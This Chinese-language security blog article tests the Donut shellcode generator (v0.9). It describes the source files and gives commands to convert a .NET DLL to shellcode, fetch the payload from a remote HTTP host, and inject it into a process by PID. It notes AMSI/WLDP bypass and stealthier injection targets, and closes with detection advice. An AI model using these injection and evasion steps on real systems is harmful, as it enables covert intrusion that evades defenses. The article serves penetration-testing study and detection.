Shellcode 生成工具 Donut 测试分析
0x00 前言
Donut 是一个 shellcode 生成工具,可以将.NET 程序集转换为 shellcode。这是对 execute-assembly 的进一步利用,隐蔽性更高,可扩展性更强。
结合 byt3bl33d3r 的 SILENTTRINITY ,将其转换为 shellcode 并进行注入,适用性更广。
本文将会对 Donut 进行测试,逐个分析 Donut 工程中的代码,总结这个工具的特点。
注:本文测试的版本使用的是 Donut v0.9,新版本将会添加更多的功能,值得持续关注
Donut 地址:https://github.com/TheWover/donut
介绍 Donut 细节的文章:
- https://thewover.github.io/Introducing-Donut/
- https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
- https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
0x01 简介
本文将要介绍以下内容:
- 相关技术介绍
- 源码结构
- 实际测试
- 利用分析
0x02 相关技术介绍
1.Assembly.Load
用于在当前进程中加载.NET 程序集,无法注入其他进程
.NET 程序集的测试代码:
namespace ConsoleApplication1
{
public class Program
{
public static void test()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
p.Start();
}
static void Main(string[] args)
{
test();
}
}
}
加载这个.NET 程序集的时候会弹出计算器,用作验证功能
(1) Powershell 实现 Assembly.Load
$bytes = [System.IO.File]::ReadAllBytes("ConsoleApplication1.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication1.Program]::test()
注:可参考之前的文章 《利用 Assembly Load & LoadFile 绕过 Applocker 的分析总结》
(2) C#实现 Assembly.Load
https://github.com/anthemtotheego/SharpCradle
代码实现了从远程服务器下载.NET 程序集并通过 Assembly.Load 进行加载
2.execute-assembly
从内存中加载.NET 程序集,能够以 dll 的形式注入到其他进程中
注:可参考之前的文章 《从内存加载.NET 程序集(execute-assembly) 的利用分析》
整个过程在内存执行,不写入文件系统(此时注入 dll 需要使用 Dll 反射)
Payload 以 dll 形式存在,不会产生可疑的进程
注:如果使用 Loadlibrary 加载 dll,dll 必须写入文件系统
3.Donut
基于 execute-assembly,以 shellcode 的形式实现从内存中加载.NET 程序集
优点是注入到其他进程时不再依赖于 Dll 反射,更隐蔽,更易于扩展
更隐蔽是指注入其他进程时不会存在 dll
更易于扩展是指能够执行 shellcode 的方法都可以使用 Donut,基于 Donut 的二次开发也很容易
0x03 源码结构
针对 0.9 版本的文件
1、子项目
1.DemoCreateProcess
https://github.com/TheWover/donut/tree/master/DemoCreateProcess
c#程序,编译后生成文件 ClassLibrary.dll,功能为将传入的两个参数作为启动进程
可通过 Donut 将其转换成 shellcode,用作测试 Donut 生成 shellcode 的功能是否有效
2.DonutTest
https://github.com/TheWover/donut/tree/master/DonutTest
C# 程序,编译后生成文件 DonutTest.exe,用于向指定 pid 的进程注入 shellcode
实现细节:数组中保存 base64 加密后的 shellcode,解密后通过 CreateRemoteThread 注入到指定进程
3.rundotnet.cpp
https://github.com/TheWover/donut/blob/master/DonutTest/rundotnet.cpp
C 程序,编译后的文件为 rundotnet.exe,用于读取指定文件并使用 CLR 从内存加载.NET 程序集
从内存加载.NET 程序集使用的方法:
- 使用当前系统中最新版本的.Net
- 使用 ICorRuntimeHost 接口
- 使用 Load_3(...) 从内存中读取并加载.NET 程序集的 Main 方法
4.ModuleMonitor
https://github.com/TheWover/donut/tree/master/ModuleMonitor
使用 WMI 事件 Win32_ModuleLoadTrace 来监视模块加载,如果发现 CLR 注入,将会标记
WMI 事件 Win32_ModuleLoadTrace:https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace
程序中判断 CLR 注入的方法:
如果进程加载了 CLR,但程序不是.NET 程序集,则 CLR 已注入其中
程序中判断进程加载 CLR 的方法:
进程是否加载了与 CLR 相关的 dll(mscoree.dll,mscoreei.dll 和 mscorlib.dll),dll 以"msco"开头
这个工程一般是作防御检测用,用来检测系统是否产生了 CLR 注入事件,所以在启动后进程会一直执行,实时记录系统加载新模块的事件
这个地方使用 tasklist.exe 也能实现类似的功能,命令如下:
tasklist /m msco*
能够获得哪些进程调用了以 msco 开头的 dll
5.ProcessManager
https://github.com/TheWover/donut/tree/master/ProcessManager
用于枚举当前计算机或远程计算机上的进程
同 tasklist.exe 的功能类似,增加以下功能:
- 判断进程权限
- 判断进程位数(32 位还是 64 位)
- 判断进程是否加载 CLR
2、组件
1. https://github.com/TheWover/donut/blob/master/payload/payload.c
Donut 的关键功能,实现以下操作:
(1) 获得 shellcode 并解密
提供两种方式:
- 从 payload.h 读取 shellcode 和解密密钥
- 从 HTTP 服务器下载 shellcode 和解密密钥
(2) 使用 CLR 从内存加载.NET 程序集
- 调用 ICLRMetaHost::GetRuntime 方法获取 ICLRRuntimeInfo 指针
- 使用 ICorRuntimeHost 接口
- 尝试关闭 AMSI 和 WLDP
- 使用 Load_3(...) 从内存中读取
注:介绍关闭 AMSI 和 WLDP 的细节:https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
值得注意的地方:
通常情况下,使用 ICorRuntimeHost 接口时需要调用 mscorlib.tlb
这里并没有使用 mscorlib.tlb,是通过手动定义的方式实现
更多细节可参考:https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
2. https://github.com/TheWover/donut/tree/master/payload/exe2h
用来将 exe 转换为 shellcode 并保存到数组中
从 payload.exe 中的.text 段中提取已编译的机器码(包括 dll 和解密密钥),将其作为数组保存到 payload_exe_x64.h 或 payload_exe_x86.h
3. https://github.com/TheWover/donut/blob/master/payload/payload_exe_x64.h
存储 64 位的机器码(包括 dll 和解密密钥)
4. https://github.com/TheWover/donut/blob/master/payload/payload_exe_x86.h
存储 32 位的机器码(包括 dll 和解密密钥)
5. https://github.com/TheWover/donut/blob/master/payload/inject.c
使用 RtlCreateUserThread 向指定进程注入 shellcode
可用作测试向指定进程注入 shellcode 的功能
6. https://github.com/TheWover/donut/blob/master/payload/runsc.c
C/S 架构,两个功能,可以发送和接收 shellcode 并执行
用于测试 payload.bin 的功能
7. https://github.com/TheWover/donut/blob/master/encrypt.c
对称加密的实现
8. https://github.com/TheWover/donut/blob/master/hash.c
API Hashing,这里使用了 Maru hash
9. https://github.com/TheWover/donut/blob/master/donut.c
主程序,用于将.NET 程序集转换成 shellcode
0x04 实际测试
1、选择测试 dll
这里使用子项目 DemoCreateProcess
编译后生成文件 ClassLibrary.dll
2、使用 Donut 生成 shellcode
64 位:
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
32 位:
donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
命令执行后生成文件 payload.bin
如果加了-u 指定 URL,会再生成一个随机名称的 Module 文件,实例如下:
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1
生成文件 payload.bin 和 YX63F37T
将 YX63F37T 上传到 http://192.168.1.1
接下来通过注入 shellcode 的方式执行 payload.bin,payload.bin 会从 http://192.168.1.1/YX63F37T 下载实际的 shellcode 并执行
3、查看进程信息
这里使用子项目 ProcessManager
列出进程后,Managed 选项如果为 True,代表该进程已经加载 CLR
ProcessManager 支持对指定进程进行筛选,例如只查看 notepad.exe 的进行信息,命令如下:
ProcessManager.exe --name notepad
4、注入 shellcode
假设目标进程为 3306
(1) 使用子项目 DonutTest
将 payload.bin 作 base64 编码并保存在剪贴板,powershell 命令如下:
$filename = "payload.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip
替换 DonutTest 工程中对应的变量,编译成功后执行如下命令:
DonutTest.exe 3306
(2) 使用 RtlCreateUserThread
https://github.com/TheWover/donut/blob/master/payload/inject.c
命令如下:
inject.exe 3306 payload.bin
5、检测
列出加载了 CLR 但不是.NET 程序集的进程,命令如下:
tasklist /m msco*
0x05 利用分析
Donut 能够将.NET 程序集转换为 shellcode
也就是说,使用 C#开发的程序都能通过 Donut 转换成 shellcode
就目前的趋势来说,C#开源的工具越来越多,例如:
- https://github.com/GhostPack/SharpWMI
- https://github.com/checkymander/Sharp-WMIExec
- https://github.com/jnqpblc/SharpTask
在渗透测试中,C#将会逐步替代 Powershell,Donut 的利用也会是一个趋势
Donut 的利用思路:
- 将.NET 程序集转换为 shellcode,例如配合 SILENTTRINITY 使用
- 作为模块集成到其他工具中
- 扩展功能:支持类似 meterpreter 的 migrate 功能
为了更为隐蔽,可以先使用 ProcessManager 列举已经加载 CLR 的进程,对其进行注入
Donut 的检测:Donut 需要使用 CLR 从内存中加载.NET 程序集,可采取以下方法进行检测:
- 进程不是.NET 程序集
- 进程加载了与 CLR 相关的 dll(dll 以"msco"开头)
注:
正常程序也有可能存在这个行为
两种检测方法:
- 使用命令
tasklist /m msco*
- 使用 WMI 事件 Win32_ModuleLoadTrace 来监视模块加载
对满足以上条件的进程重点监控
0x06 小结
本文对 Donut 进行了测试分析,总结利用思路,给出防御建议。Donut 值得深入研究,期待 Donut 的新版本。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: Mimikatz 中 SSP 的使用
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论